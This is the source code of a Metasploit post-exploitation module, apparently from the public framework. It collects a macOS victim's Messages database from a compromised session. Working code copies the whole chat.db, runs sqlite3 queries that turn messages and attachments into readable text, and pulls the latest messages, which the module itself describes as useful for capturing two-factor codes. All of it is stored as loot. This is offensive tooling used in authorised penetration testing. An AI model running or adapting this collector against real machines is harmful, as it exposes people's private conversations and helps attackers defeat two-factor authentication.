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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OS X Gather Messages',
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        'Description' => %q{
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          This module will collect the Messages sqlite3 database files and chat logs
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          from the victim's machine. There are four actions you may choose: DBFILE,
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          READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
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          LATEST will retrieve the last X number of messages (useful with 2FA). Module
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          was tested with OS X 10.11 (El Capitan).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Geckom <geckom[at]redteamr.com>'],
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        'Platform' => ['osx'],
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        'SessionTypes' => ['meterpreter', 'shell'],
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        'Actions' => [
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          ['DBFILE', { 'Description' => 'Collect Messages DB file' }],
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          ['READABLE', { 'Description' => 'Collect Messages DB and download in a readable format' }],
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          ['LATEST', { 'Description' => 'Collect the latest message' }],
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          ['ALL', { 'Description' => 'Collect all Messages data' }]
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        ],
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        'DefaultAction' => 'ALL',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
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        OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
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      ]
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    )
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  end
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  def run
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    user = datastore['USER'] || cmd_exec('/usr/bin/whoami')
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    # Check file exists
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    messages_path = "/Users/#{user}/Library/Messages/chat.db"
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    unless file_exist?(messages_path)
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      fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
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    end
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    print_good("#{peer} - Messages DB found: #{messages_path}")
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    files = []
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    # Download file
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    files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
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    files << readable(messages_path) if action.name =~ /ALL|READABLE/i
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    files << latest(messages_path) if action.name =~ /ALL|LATEST/i
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    save(files)
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  end
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  #
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  # Collect messages db file.
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  #
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  def get_db(messages_path)
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    print_status("#{peer} - Looting #{messages_path} database")
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    message_data = read_file(messages_path)
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    { filename: 'messages.db', mime: 'bin', data: message_data }
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  end
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  #
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  # Generate a readable version of the messages DB
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  #
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  def readable(messages_path)
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    print_status("#{peer} - Generating readable format")
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    sql = [
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      'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime")  || " " ||',
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      'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
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      'usr.id || ": " || m.text, a.filename',
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      'FROM chat as c',
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      'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
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      'INNER JOIN message AS m ON m.ROWID = cm.message_id',
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      'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
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      'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
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      'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
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      'ORDER BY m.date;'
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    ]
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    sql = sql.join(' ')
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    readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
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    { filename: 'messages.txt', mime: 'text/plain', data: readable_data }
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  end
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  #
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  # Generate a latest messages in readable format from the messages DB
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  #
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  def latest(messages_path)
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    print_status("#{peer} - Retrieving latest messages")
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    sql = [
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      'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime")  || " " ||',
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      'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
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      'usr.id || ": " || m.text, a.filename',
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      'FROM chat as c',
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      'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
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      'INNER JOIN message AS m ON m.ROWID = cm.message_id',
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      'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
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      'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
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      'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
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      "ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
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    ]
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    sql = sql.join(' ')
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    latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
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    print_good("#{peer} - Latest messages: \n#{latest_data}")
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    { filename: 'latest.txt', mime: 'text/plain', data: latest_data }
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  end
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  #
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  # Do a store_root on all the data collected.
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  #
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  def save(data)
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    data.each do |e|
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      e[:filename] = e[:filename].gsub(/\\ /, '_')
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      p = store_loot(
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        e[:filename],
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        e[:mime],
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        session,
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        e[:data],
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        e[:filename]
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      )
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      print_good("#{peer} - #{e[:filename]} stored as: #{p}")
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    end
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  end
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end
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